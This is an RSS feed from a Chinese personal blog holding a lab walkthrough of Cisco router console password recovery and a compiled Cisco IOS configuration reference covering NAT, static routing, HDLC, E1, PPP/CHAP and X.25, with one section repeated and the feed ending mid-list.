<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[孤独dě烟头 's Blog]]></title> 
<link>http://www.fkdj8.com/index.php</link> 
<description><![CDATA[寂寞的烟点燃空虚的夜]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[孤独dě烟头 's Blog]]></copyright>
<item>
<link>http://www.fkdj8.com/post/64/</link>
<title><![CDATA[简单重置cisco路由器的密码]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Sat, 03 Jul 2010 04:34:26 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/64/</guid> 
<description>
<![CDATA[ 
	 <br/>只删除密码不破坏配置 <br/><br/>1 重启 路由器 按 ctrl + pause break 键 进入mini IOS<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;2 修改寄存器值改变启动次序<br/><br/>rommon 1 &gt; confreg 0x2142<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;3 在mini IOS下重启路由<br/>rommon 2 &gt; reset<br/>System Bootstrap, Version 12.1(3r)T2, RELEASE SOFTWARE (fc1)<br/>Copyright (c) 2000 by cisco Systems, Inc.<br/>cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory<br/>Self decompressing the image :<br/>########################################################################## [OK]<br/>Restricted Rights Legend<br/>Use, duplication, or disclosure by the Government is<br/>subject to restrictions as set forth in subparagraph<br/>(c) of the Commercial Computer Software - Restricted<br/>Rights clause at FAR sec. 52.227-19 and subparagraph<br/>(c) (1) (ii) of the Rights in Technical Data and Computer<br/>Software clause at DFARS sec. 252.227-7013.<br/>cisco Systems, Inc.<br/>170 West Tasman Drive<br/>San Jose, California 95134-1706<br/>Cisco Internetwork Operating System Software<br/>IOS (tm) C2600 Software (C2600-I-M), Version 12.2(28), RELEASE SOFTWARE (fc5)<br/>Technical Support: http://www.cisco.com/techsupport<br/>Copyright (c) 1986-2005 by cisco Systems, Inc.<br/>Compiled Wed 27-Apr-04 19:01 by miwang<br/>cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory<br/>.<br/>Processor board ID JAD05190MTZ (4292891495)<br/>M860 processor: part number 0, mask 49<br/>Bridging software.<br/>X.25 software, Version 3.0.0.<br/>2 FastEthernet/IEEE 802.3 interface(s)<br/>2 Low-speed serial(sync/async) network interface(s)<br/>32K bytes of non-volatile configuration memory.<br/>16384K bytes of processor board System flash (Read/Write)<br/>--- System Configuration Dialog ---<br/>Continue with configuration dialog? [yes/no]: n<br/>Press RETURN to get started!<br/>Router&gt;<br/>看这里进入系统之后 直接就进入了用户模式 没要密码<br/>Router&gt;en<br/>Router#copy start run<br/>Destination filename [running-config]?<br/>552 bytes copied in 0.416 secs (1326 bytes/sec)<br/>ru1#<br/>&nbsp;&nbsp;&nbsp;&nbsp;我们 输入enable 进入特权模式 输入命令 copy start run 从NVRAM 里面调用配置到内存中<br/>&nbsp;&nbsp;&nbsp;&nbsp;下一步更换密码<br/>ru1#conf t<br/>Enter configuration commands, one per line. End with CNTL/Z.<br/>ru1(config)#line console 0<br/>ru1(config-line)#pass admin<br/>ru1(config-line)#login<br/>ru1(config-line)#exit<br/>ru1(config)#line vty 0 4<br/>ru1(config-line)#pass admin<br/>ru1(config-line)#login<br/>ru1(config-line)#exit<br/>ru1(config)#enable pass admin<br/>ru1(config)#enable secret admin<br/>ru1(config)#service password-encryption<br/>比如说我们将密码修改为admin 实验环境下 只采用这一个密码<br/>下一步 更改寄存器值 恢复到正常的启动次序<br/>ru1(config)#config-register 0x2102<br/>下一步 保存配置到NVRAM里面<br/>ru1(config)#exit<br/>%SYS-5-CONFIG_I: Configured from console by console<br/>ru1#copy run start<br/>Destination filename [startup-config]?<br/>Building configuration...<br/>[OK]<br/>ru1#<br/>&nbsp;&nbsp;&nbsp;&nbsp;重启一下<br/>ru1#rel<br/>Proceed with reload? [confirm]<br/>%SYS-5-RELOAD: Reload requested by console. Reload Reason: Reload Command.<br/>System Bootstrap, Version 12.1(3r)T2, RELEASE SOFTWARE (fc1)<br/>Copyright (c) 2000 by cisco Systems, Inc.<br/>cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory<br/>Self decompressing the image :<br/>########################################################################## [OK]<br/>Restricted Rights Legend<br/>Use, duplication, or disclosure by the Government is<br/>subject to restrictions as set forth in subparagraph<br/>(c) of the Commercial Computer Software - Restricted<br/>Rights clause at FAR sec. 52.227-19 and subparagraph<br/>(c) (1) (ii) of the Rights in Technical Data and Computer<br/>Software clause at DFARS sec. 252.227-7013.<br/>cisco Systems, Inc.<br/>170 West Tasman Drive<br/>San Jose, California 95134-1706<br/>Cisco Internetwork Operating System Software<br/>IOS (tm) C2600 Software (C2600-I-M), Version 12.2(28), RELEASE SOFTWARE (fc5)<br/>Technical Support: http://www.cisco.com/techsupport<br/>Copyright (c) 1986-2005 by cisco Systems, Inc.<br/>Compiled Wed 27-Apr-04 19:01 by miwang<br/>cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory<br/>.<br/>Processor board ID JAD05190MTZ (4292891495)<br/>M860 processor: part number 0, mask 49<br/>Bridging software.<br/>X.25 software, Version 3.0.0.<br/>2 FastEthernet/IEEE 802.3 interface(s)<br/>2 Low-speed serial(sync/async) network interface(s)<br/>32K bytes of non-volatile configuration memory.<br/>16384K bytes of processor board System flash (Read/Write)<br/>%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up<br/>%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up<br/>%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to up<br/>%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to administratively down<br/>%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to down<br/>%LINK-5-CHANGED: Interface FastEthernet0/1, changed state to administratively down<br/>Press RETURN to get started!<br/>User Access Verification<br/>Password:<br/>ru1&gt;en<br/>Password:<br/>ru1#<br/><br/><br/><br/>Tags - <a href="http://www.fkdj8.com/tags/cisco/" rel="tag">cisco</a> , <a href="http://www.fkdj8.com/tags/%25E8%25B7%25AF%25E7%2594%25B1%25E5%2599%25A8/" rel="tag">路由器</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/59/</link>
<title><![CDATA[CISCO 技术大集合]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Wed, 19 May 2010 07:21:48 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/59/</guid> 
<description>
<![CDATA[ 
	最近在学习CISCO路由~~百度了下资料。保存下。。。<br/>----------------------------------------------------------------------------------------------------------------------------<br/>二、命令状态<br/>1. router> <br/>路由器处于用户命令状态，这时用户可以看路由器的连接状态，访问其它网络和主机，但不能看到和更改路由器的设置内容。 <br/>2. router# <br/>在router>提示符下键入enable,路由器进入特权命令状态router#，这时不但可以执行所有的用户命令，还可以看到和更改路由器的设置内容。 <br/>3. router(config)# <br/>在router#提示符下键入configure terminal,出现提示符router(config)#，此时路由器处于全局设置状态，这时可以设置路由器的全局参数。 <br/>4. router(config-if)#; router(config-line)#; router(config-router)#;… <br/>路由器处于局部设置状态，这时可以设置路由器某个局部的参数。 <br/>5. > <br/>路由器处于RXBOOT状态，在开机后60秒内按ctrl-break可进入此状态，这时路由器不能完成正常的功能，只能进行软件升级和手工引导。 <br/>6. 设置对话状态 <br/>这是一台新路由器开机时自动进入的状态，在特权命令状态使用SETUP命令也可进入此状态，这时可通过对话方式对路由器进行设置。 <br/>　<br/><br/><br/>三、设置对话过程 <br/>1. 显示提示信息<br/>2. 全局参数的设置<br/>3. 接口参数的设置<br/>4. 显示结果<br/>利用设置对话过程可以避免手工输入命令的烦琐，但它还不能完全代替手工设置，一些特殊的设置还必须通过手工输入的方式完成。<br/>进入设置对话过程后，路由器首先会显示一些提示信息：<br/>--- System Configuration Dialog --- <br/>At any point you may enter a question mark '?' for help. <br/>Use ctrl-c to abort configuration dialog at any prompt. <br/>Default settings are in square brackets '[]'. <br/>这是告诉你在设置对话过程中的任何地方都可以键入“？”得到系统的帮助，按ctrl-c可以退出设置过程，缺省设置将显示在‘[]’中。然后路由器会问是否进入设置对话：<br/>Would you like to enter the initial configuration dialog? [yes]: <br/>如果按y或回车，路由器就会进入设置对话过程。首先你可以看到各端口当前的状况： <br/>First, would you like to see the current interface summary? [yes]: <br/>Any interface listed with OK? value "NO" does not have a valid configuration <br/>Interface IP-Address OK? Method Status Protocol <br/>Ethernet0 unassigned NO unset up up <br/>Serial0 unassigned NO unset up up <br/>……… ……… … …… … … <br/>然后，路由器就开始全局参数的设置： <br/>Configuring global parameters: <br/>1．设置路由器名： <br/>Enter host name [Router]: <br/>2．设置进入特权状态的密文(secret)，此密文在设置以后不会以明文方式显示： <br/>The enable secret is a one-way cryptographic secret used <br/>instead of the enable password when it exists. <br/>Enter enable secret: cisco <br/>3．设置进入特权状态的密码(password)，此密码只在没有密文时起作用，并且在设置以后会以明文方式显示： <br/>The enable password is used when there is no enable secret <br/>and when using older software and some boot images. <br/>Enter enable password: pass <br/>4．设置虚拟终端访问时的密码： <br/>Enter virtual terminal password: cisco <br/>5．询问是否要设置路由器支持的各种网络协议： <br/>Configure SNMP Network Management? [yes]: <br/>Configure DECnet? [no]: <br/>Configure AppleTalk? [no]: <br/>Configure IPX? [no]: <br/>Configure IP? [yes]: <br/>Configure IGRP routing? [yes]: <br/>Configure RIP routing? [no]: <br/>……… <br/>6．如果配置的是拨号访问服务器，系统还会设置异步口的参数： <br/>Configure Async lines? [yes]: <br/>1) 设置线路的最高速度： <br/>Async line speed [9600]: <br/>2) 是否使用硬件流控： <br/>Configure for HW flow control? [yes]: <br/>3) 是否设置modem： <br/>Configure for modems? [yes/no]: yes <br/>4) 是否使用默认的modem命令： <br/>Configure for default chat script? [yes]: <br/>5) 是否设置异步口的PPP参数： <br/>Configure for Dial-in IP SLIP/PPP access? [no]: yes <br/>6) 是否使用动态IP地址： <br/>Configure for Dynamic IP addresses? [yes]: <br/>7) 是否使用缺省IP地址： <br/>Configure Default IP addresses? [no]: yes <br/>8) 是否使用TCP头压缩： <br/>Configure for TCP Header Compression? [yes]: <br/>9) 是否在异步口上使用路由表更新： <br/>Configure for routing updates on async links? [no]: y <br/>10) 是否设置异步口上的其它协议。 <br/>接下来，系统会对每个接口进行参数的设置。 <br/>1．Configuring interface Ethernet0: <br/>1) 是否使用此接口： <br/>Is this interface in use? [yes]: <br/>2) 是否设置此接口的IP参数： <br/>Configure IP on this interface? [yes]: <br/>3) 设置接口的IP地址： <br/>IP address for this interface: 192.168.162.2 <br/>4) 设置接口的IP子网掩码： <br/>Number of bits in subnet field [0]: <br/>Class C network is 192.168.162.0, 0 subnet bits; mask is /24 <br/>在设置完所有接口的参数后，系统会把整个设置对话过程的结果显示出来： <br/>The following configuration command script was created: <br/>hostname Router <br/>enable secret 5 $1$W5Oh$p6J7tIgRMBOIKVXVG53Uh1 <br/>enable password pass <br/>………… <br/>请注意在enable secret后面显示的是乱码，而enable password后面显示的是设置的内容。 <br/>显示结束后，系统会问是否使用这个设置： <br/>Use this configuration? [yes/no]: yes <br/>如果回答yes，系统就会把设置的结果存入路由器的NVRAM中，然后结束设置对话过程，使路由器开始正常的工作。 <br/>返回目录<br/>　<br/><br/>四、常用命令 <br/>1. 帮助<br/>在IOS操作中，无论任何状态和位置，都可以键入“？”得到系统的帮助。<br/>2. 改变命令状态 <br/>任务 命令 <br/>进入特权命令状态 enable <br/>退出特权命令状态 disable <br/>进入设置对话状态 setup <br/>进入全局设置状态 config terminal <br/>退出全局设置状态 end <br/>进入端口设置状态 interface type slot/number <br/>进入子端口设置状态 interface type number.subinterface [point-to-point &#124; multipoint] <br/>进入线路设置状态 line type slot/number <br/>进入路由设置状态 router protocol <br/>退出局部设置状态 exit <br/>3. 显示命令<br/>任务 命令 <br/>查看版本及引导信息 show version <br/>查看运行设置 show running-config <br/>查看开机设置 show startup-config <br/>显示端口信息 show interface type slot/number <br/>显示路由信息 show ip router <br/>4. 拷贝命令<br/>用于IOS及CONFIG的备份和升级 <br/><br/>5. 网络命令 <br/>任务 命令 <br/>登录远程主机 telnet hostname&#124;IP address <br/>网络侦测 ping hostname&#124;IP address <br/>路由跟踪 trace hostname&#124;IP address <br/>　<br/>6. 基本设置命令 <br/>任务 命令 <br/>全局设置 config terminal <br/>设置访问用户及密码 username username password password <br/>设置特权密码 enable secret password <br/>设置路由器名 hostname name <br/>设置静态路由 ip route destination subnet-mask next-hop <br/>启动IP路由 ip routing <br/>启动IPX路由 ipx routing <br/>端口设置 interface type slot/number <br/>设置IP地址 ip address address subnet-mask <br/>设置IPX网络 ipx network network <br/>激活端口 no shutdown <br/>物理线路设置 line type number <br/>启动登录进程 login [local&#124;tacacs server] <br/>设置登录密码 password password <br/>　<br/><br/>五、配置IP寻址 <br/>　<br/>1. IP地址分类<br/>IP地址分为网络地址和主机地址二个部分，A类地址前8位为网络地址，后24位为主机地址，B类地址16位为网络地址，后16位为主机地址，C类地址前24位为网络地址，后8位为主机地址，网络地址范围如下表所示：<br/>种类 网络地址范围 <br/>A　 1.0.0.0 到126.0.0.0有效 0.0.0.0 和127.0.0.0保留 <br/>B 128.1.0.0到191.254.0.0有效 128.0.0.0和191.255.0.0保留 <br/>C 192.0.1.0 到223.255.254.0有效 192.0.0.0和223.255.255.0保留 <br/>D 224.0.0.0到239.255.255.255用于多点广播 <br/>E 240.0.0.0到255.255.255.254保留 255.255.255.255用于广播 <br/>2. 分配接口IP地址<br/>任务 命令 <br/>接口设置 interface type slot/number <br/>为接口设置IP地址 ip address ip-address mask <br/>掩玛（mask）用于识别IP地址中的网络地址位数，IP地址（ip-address）和掩码（mask）相与即得到网络地址。<br/>3. 使用可变长的子网掩码<br/>通过使用可变长的子网掩码可以让位于不同接口的同一网络编号的网络使用不同的掩码，这样可以节省IP地址，充分利用有效的IP地址空间。<br/>如下图所示：<br/>Router1和Router2的E0端口均使用了C类地址192.1.0.0作为网络地址，Router1的E0的网络地址为192.1.0.128,掩码为255.255.255.192, Router2的E0的网络地址为192.1.0.64,掩码为255.255.255.192，这样就将一个C类网络地址分配给了二个网，既划分了二个子网，起到了节约地址的作用。<br/>4. 使用网络地址翻译（NAT）<br/>NAT（Network Address Translation）起到将内部私有地址翻译成外部合法的全局地址的功能，它使得不具有合法IP地址的用户可以通过NAT访问到外部Internet.<br/>当建立内部网的时候,建议使用以下地址组用于主机,这些地址是由Network Working Group(RFC 1918)保留用于私有网络地址分配的.<br/>l Class A:10.1.1.1 to 10.254.254.254<br/>l Class B:172.16.1.1 to 172.31.254.254<br/>l Class C:192.168.1.1 to 192.168.254.254<br/>命令描述如下： <br/>任务 命令 <br/>定义一个标准访问列表 access-list access-list-number permit source [source-wildcard] <br/>定义一个全局地址池 ip nat pool name start-ip end-ip &#123;netmask netmask &#124; prefix-length prefix-length&#125; [type rotary] <br/>建立动态地址翻译 ip nat inside source &#123;list &#123;access-list-number &#124; name&#125; pool name [overload] &#124; static local-ip global-ip&#125; <br/>指定内部和外部端口 ip nat &#123;inside &#124; outside&#125; <br/>如下图所示，<br/><br/>路由器的Ethernet 0端口为inside端口，即此端口连接内部网络，并且此端口所连接的网络应该被翻译，Serial 0端口为outside端口，其拥有合法IP地址（由NIC或服务提供商所分配的合法的IP地址）,来自网络10.1.1.0/24的主机将从IP地址池c2501中选择一个地址作为自己的合法地址，经由Serial 0口访问Internet。命令ip nat inside source list 2 pool c2501 overload中的参数overload，将允许多个内部地址使用相同的全局地址（一个合法IP地址，它是由NIC或服务提供商所分配的地址）。命令ip nat pool c2501 202.96.38.1 202.96.38.62 netmask 255.255.255.192定义了全局地址的范围。 <br/>设置如下：<br/>ip nat pool c2501 202.96.38.1 202.96.38.62 netmask 255.255.255.192 <br/>interface Ethernet 0 <br/>ip address 10.1.1.1 255.255.255.0 <br/>ip nat inside <br/>! <br/>interface Serial 0 <br/>ip address 202.200.10.5 255.255.255.252 <br/>ip nat outside <br/>! <br/>ip route 0.0.0.0 0.0.0.0 Serial 0 <br/>access-list 2 permit 10.0.0.0 0.0.0.255 <br/>! Dynamic NAT <br/>! <br/>ip nat inside source list 2 pool c2501 overload <br/>line console 0 <br/>exec-timeout 0 0 <br/>! <br/>line vty 0 4 <br/>end <br/>　<br/><br/>六、配置静态路由<br/>通过配置静态路由，用户可以人为地指定对某一网络访问时所要经过的路径,在网络结构比较简单，且一般到达某一网络所经过的路径唯一的情况下采用静态路由。<br/>任务 命令 <br/>建立静态路由 ip route prefix mask &#123;address &#124; interface&#125; [distance] [tag tag] [permanent] <br/>Prefix :所要到达的目的网络 <br/>mask :子网掩码 <br/>address :下一个跳的IP地址，即相邻路由器的端口地址。 <br/>interface :本地网络接口 <br/>distance :管理距离（可选） <br/>tag tag :tag值（可选） <br/>permanent :指定此路由即使该端口关掉也不被移掉。<br/><br/>以下在Router1上设置了访问192.1.0.64/26这个网下一跳地址为192.200.10.6,即当有目的地址属于192.1.0.64/26的网络范围的数据报，应将其路由到地址为192.200.10.6的相邻路由器。在Router3上设置了访问192.1.0.128/26及192.200.10.4/30这二个网下一跳地址为192.1.0.65。由于在Router1上端口Serial 0地址为192.200.10.5，192.200.10.4/30这个网属于直连的网，已经存在访问192.200.10.4/30的路径，所以不需要在Router1上添加静态路由。<br/>Router1: <br/>ip route 192.1.0.64 255.255.255.192 192.200.10.6 <br/>Router3: <br/>ip route 192.1.0.128 255.255.255.192 192.1.0.65 <br/>ip route 192.200.10.4 255.255.255.252 192.1.0.65 <br/>同时由于路由器Router3除了与路由器Router2相连外，不再与其他路由器相连，所以也可以为它赋予一条默认路由以代替以上的二条静态路由，<br/>ip route 0.0.0.0 0.0.0.0 192.1.0.65<br/>即只要没有在路由表里找到去特定目的地址的路径,则数据均被路由到地址为192.1.0.65的相邻路由器。<br/>返回目录<br/>　<br/>一、HDLC <br/>　<br/>HDLC是CISCO路由器使用的缺省协议，一台新路由器在未指定封装协议时默认使用HDLC封装。<br/>1. 有关命令<br/>端口设置 <br/>任务 命令 <br/>设置HDLC封装 encapsulation hdlc <br/>设置DCE端线路速度 clockrate speed <br/>复位一个硬件接口 clear interface serial unit <br/>显示接口状态 show interfaces serial [unit] 1 <br/>注:1.以下给出一个显示Cisco同步串口状态的例子. <br/>Router#show interface serial 0 <br/>Serial 0 is up, line protocol is up <br/>Hardware is MCI Serial <br/>Internet address is 150.136.190.203, subnet mask is 255.255.255.0 <br/>MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec, rely 255/255, load 1/255 <br/>Encapsulation HDLC, loopback not set, keepalive set (10 sec) <br/>Last input 0:00:07, output 0:00:00, output hang never <br/>Output queue 0/40, 0 drops; input queue 0/75, 0 drops <br/>Five minute input rate 0 bits/sec, 0 packets/sec <br/>Five minute output rate 0 bits/sec, 0 packets/sec <br/>16263 packets input, 1347238 bytes, 0 no buffer <br/>Received 13983 broadcasts, 0 runts, 0 giants <br/>2 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 2 abort <br/>22146 packets output, 2383680 bytes, 0 underruns <br/>0 output errors, 0 collisions, 2 interface resets, 0 restarts <br/>1 carrier transitions <br/>2. 举例<br/><br/><br/><br/>　<br/>　<br/><br/>设置如下： <br/>Router1: <br/>interface Serial0 <br/>ip address 192.200.10.1 255.255.255.0 <br/>clockrate 1000000 <br/><br/>Router2: <br/>interface Serial0 <br/>ip address 192.200.10.2 255.255.255.0 <br/>! <br/>3. 举例使用E1线路实现多个64K专线连接.<br/>相关命令: <br/>任务 命令 <br/>进入controller配置模式 controller &#123;t1 &#124; e1&#125; number <br/>选择帧类型 framing &#123;crc4 &#124; no-crc4&#125; <br/>选择line-code类型 linecode &#123;ami &#124; b8zs &#124; hdb3&#125; <br/>建立逻辑通道组与时隙的映射 channel-group number timeslots range1 <br/>显示controllers接口状态 show controllers e1 [slot/port]2 <br/><br/>注: 1. 当链路为T1时,channel-group编号为0-23, Timeslot范围1-24; 当链路为E1时, channel-group编号为0-30, Timeslot范围1-31. <br/>2.使用show controllers e1观察controller状态,以下为帧类型为crc4时controllers正常的状态. <br/><br/>Router# show controllers e1 <br/>e1 0/0 is up. <br/>Applique type is Channelized E1 - unbalanced <br/>Framing is CRC4, Line Code is HDB3 No alarms detected. <br/>Data in current interval (725 seconds elapsed): <br/>0 Line Code Violations, 0 Path Code Violations <br/>0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins <br/>0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs <br/>Total Data (last 24 hours) 0 Line Code Violations, 0 Path Code Violations, <br/>0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins, <br/>0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs <br/><br/>以下例子为E1连接3条64K专线, 帧类型为NO-CRC4,非平衡链路,路由器具体设置如下:<br/>shanxi#wri t<br/>Building configuration...<br/><br/>Current configuration:<br/>!<br/>version 11.2<br/>no service udp-small-servers<br/>no service tcp-small-servers<br/>!<br/>hostname shanxi<br/>!<br/>enable secret 5 $1$XN08$Ttr8nfLoP9.2RgZhcBzkk/<br/>enable password shanxi<br/>!<br/>!<br/>ip subnet-zero<br/>!<br/>controller E1 0 <br/>framing NO-CRC4 <br/>channel-group 0 timeslots 1 <br/>channel-group 1 timeslots 2 <br/>channel-group 2 timeslots 3 <br/>!<br/>interface Ethernet0<br/>ip address 133.118.40.1 255.255.0.0<br/>media-type 10BaseT<br/>!<br/>interface Ethernet1<br/>no ip address<br/>shutdown<br/>!<br/>interface Serial0:0 <br/>ip address 202.119.96.1 255.255.255.252<br/>no ip mroute-cache<br/>!<br/>interface Serial0:1 <br/>ip address 202.119.96.5 255.255.255.252<br/>no ip mroute-cache<br/>!<br/>interface Serial0:2 <br/>ip address 202.119.96.9 255.255.255.252<br/>no ip mroute-cache<br/>!<br/>no ip classless<br/>ip route 133.210.40.0 255.255.255.0 Serial0:0<br/>ip route 133.210.41.0 255.255.255.0 Serial0:1<br/>ip route 133.210.42.0 255.255.255.0 Serial0:2<br/>!<br/>line con 0<br/>line aux 0<br/>line vty 0 4<br/>password shanxi<br/>login<br/>!<br/>end<br/>广域网设置：<br/>　<br/><br/>一、HDLC <br/>　<br/>HDLC是CISCO路由器使用的缺省协议，一台新路由器在未指定封装协议时默认使用HDLC封装。<br/>1. 有关命令<br/>端口设置 <br/>任务 命令 <br/>设置HDLC封装 encapsulation hdlc <br/>设置DCE端线路速度 clockrate speed <br/>复位一个硬件接口 clear interface serial unit <br/>显示接口状态 show interfaces serial [unit] 1 <br/>注:1.以下给出一个显示Cisco同步串口状态的例子. <br/>Router#show interface serial 0 <br/>Serial 0 is up, line protocol is up <br/>Hardware is MCI Serial <br/>Internet address is 150.136.190.203, subnet mask is 255.255.255.0 <br/>MTU 1500 bytes, BW 1544 Kbit, DLY 20000 usec, rely 255/255, load 1/255 <br/>Encapsulation HDLC, loopback not set, keepalive set (10 sec) <br/>Last input 0:00:07, output 0:00:00, output hang never <br/>Output queue 0/40, 0 drops; input queue 0/75, 0 drops <br/>Five minute input rate 0 bits/sec, 0 packets/sec <br/>Five minute output rate 0 bits/sec, 0 packets/sec <br/>16263 packets input, 1347238 bytes, 0 no buffer <br/>Received 13983 broadcasts, 0 runts, 0 giants <br/>2 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 2 abort <br/>22146 packets output, 2383680 bytes, 0 underruns <br/>0 output errors, 0 collisions, 2 interface resets, 0 restarts <br/>1 carrier transitions <br/>2. 举例<br/><br/><br/><br/>　<br/>　<br/><br/>设置如下： <br/>Router1: <br/>interface Serial0 <br/>ip address 192.200.10.1 255.255.255.0 <br/>clockrate 1000000 <br/><br/>Router2: <br/>interface Serial0 <br/>ip address 192.200.10.2 255.255.255.0 <br/>! <br/>3. 举例使用E1线路实现多个64K专线连接.<br/>相关命令: <br/>任务 命令 <br/>进入controller配置模式 controller &#123;t1 &#124; e1&#125; number <br/>选择帧类型 framing &#123;crc4 &#124; no-crc4&#125; <br/>选择line-code类型 linecode &#123;ami &#124; b8zs &#124; hdb3&#125; <br/>建立逻辑通道组与时隙的映射 channel-group number timeslots range1 <br/>显示controllers接口状态 show controllers e1 [slot/port]2 <br/><br/>注: 1. 当链路为T1时,channel-group编号为0-23, Timeslot范围1-24; 当链路为E1时, channel-group编号为0-30, Timeslot范围1-31. <br/>2.使用show controllers e1观察controller状态,以下为帧类型为crc4时controllers正常的状态. <br/><br/>Router# show controllers e1 <br/>e1 0/0 is up. <br/>Applique type is Channelized E1 - unbalanced <br/>Framing is CRC4, Line Code is HDB3 No alarms detected. <br/>Data in current interval (725 seconds elapsed): <br/>0 Line Code Violations, 0 Path Code Violations <br/>0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins <br/>0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs <br/>Total Data (last 24 hours) 0 Line Code Violations, 0 Path Code Violations, <br/>0 Slip Secs, 0 Fr Loss Secs, 0 Line Err Secs, 0 Degraded Mins, <br/>0 Errored Secs, 0 Bursty Err Secs, 0 Severely Err Secs, 0 Unavail Secs <br/><br/>以下例子为E1连接3条64K专线, 帧类型为NO-CRC4,非平衡链路,路由器具体设置如下:<br/>shanxi#wri t<br/>Building configuration...<br/><br/>Current configuration:<br/>!<br/>version 11.2<br/>no service udp-small-servers<br/>no service tcp-small-servers<br/>!<br/>hostname shanxi<br/>!<br/>enable secret 5 $1$XN08$Ttr8nfLoP9.2RgZhcBzkk/<br/>enable password shanxi<br/>!<br/>!<br/>ip subnet-zero<br/>!<br/>controller E1 0 <br/>framing NO-CRC4 <br/>channel-group 0 timeslots 1 <br/>channel-group 1 timeslots 2 <br/>channel-group 2 timeslots 3 <br/>!<br/>interface Ethernet0<br/>ip address 133.118.40.1 255.255.0.0<br/>media-type 10BaseT<br/>!<br/>interface Ethernet1<br/>no ip address<br/>shutdown<br/>!<br/>interface Serial0:0 <br/>ip address 202.119.96.1 255.255.255.252<br/>no ip mroute-cache<br/>!<br/>interface Serial0:1 <br/>ip address 202.119.96.5 255.255.255.252<br/>no ip mroute-cache<br/>!<br/>interface Serial0:2 <br/>ip address 202.119.96.9 255.255.255.252<br/>no ip mroute-cache<br/>!<br/>no ip classless<br/>ip route 133.210.40.0 255.255.255.0 Serial0:0<br/>ip route 133.210.41.0 255.255.255.0 Serial0:1<br/>ip route 133.210.42.0 255.255.255.0 Serial0:2<br/>!<br/>line con 0<br/>line aux 0<br/>line vty 0 4<br/>password shanxi<br/>login<br/>!<br/>end<br/>返回目录<br/>　<br/>二、PPP <br/>　<br/>PPP(Point-to-Point Protocol)是SLIP(Serial Line IP protocol)的继承者，它提供了跨过同步和异步电路实现路由器到路由器(router-to-router)和主机到网络(host-to-network)的连接。<br/>CHAP(Challenge Handshake Authentication Protocol)和PAP(Password Authentication Protocol) (PAP)通常被用于在PPP封装的串行线路上提供安全性认证。使用CHAP和PAP认证,每个路由器通过名字来识别，可以防止未经授权的访问。<br/>CHAP和PAP在RFC 1334上有详细的说明。<br/>1. 有关命令<br/>端口设置 <br/>任务 命令 <br/>设置PPP封装 encapsulation ppp1 <br/>设置认证方法 ppp authentication &#123;chap &#124; chap pap &#124; pap chap &#124; pap&#125; [if-needed][list-name &#124; default] [callin] <br/>指定口令 username name password secret <br/>设置DCE端线路速度 clockrate speed <br/>注：1、要使用CHAP/PAP必须使用PPP封装。在与非Cisco路由器连接时，一般采用PPP封装，其它厂家路由器一般不支持Cisco的HDLC封装协议。 <br/>2. 举例<br/>路由器Router1和Router2的S0口均封装PPP协议，采用CHAP做认证，在Router1中应建立一个用户，以对端路由器主机名作为用户名，即用户名应为router2。同时在Router2中应建立一个用户，以对端路由器主机名作为用户名，即用户名应为router1。所建的这两用户的password必须相同。<br/>设置如下：<br/>Router1: <br/>hostname router1 <br/>username router2 password xxx <br/>interface Serial0 <br/>ip address 192.200.10.1 255.255.255.0 <br/>clockrate 1000000 <br/>ppp authentication chap <br/>! <br/>Router2: <br/>hostname router2 <br/>username router1 password xxx <br/>interface Serial0 <br/>ip address 192.200.10.2 255.255.255.0 <br/>ppp authentication chap<br/>!<br/>　<br/>返回目录<br/>　<br/><br/>三、x.25<br/>1. X25技术<br/>X.25规范对应OSI三层，X.25的第三层描述了分组的格式及分组交换的过程。X.25的第二层由LAPB（Link Access Procedure, Balanced）实现，它定义了用于DTE/DCE连接的帧格式。X.25的第一层定义了电气和物理端口特性。<br/>X.25网络设备分为数据终端设备（DTE）、数据电路终端设备（DCE）及分组交换设备（PSE）。DTE是X.25的末端系统，如终端、计算机或网络主机，一般位于用户端，Cisco路由器就是DTE设备。DCE设备是专用通信设备，如调制解调器和分组交换机。PSE是公共网络的主干交换机。<br/>X.25定义了数据通讯的电话网络，每个分配给用户的x.25 端口都具有一个x.121地址，当用户申请到的是SVC（交换虚电路）时，x.25一端的用户在访问另一端的用户时，首先将呼叫对方x.121地址，然后接收到呼叫的一端可以接受或拒绝，如果接受请求，于是连接建立实现数据传输，当没有数据传输时挂断连接，整个呼叫过程就类似我们拨打普通电话一样，其不同的是x.25可以实现一点对多点的连接。其中x.121地址、htc均必须与x.25服务提供商分配的参数相同。X.25 PVC（永久虚电路），没有呼叫的过程，类似DDN专线。<br/>2. 有关命令:<br/>任务 命令 <br/>设置X.25封装 encapsulation x25 [dce] <br/>设置X.121地址 x25 address x.121-address <br/>设置远方站点的地址映射 x25 map protocol address [protocol2 address2[...[protocol9 address9]]] x121-address [option] 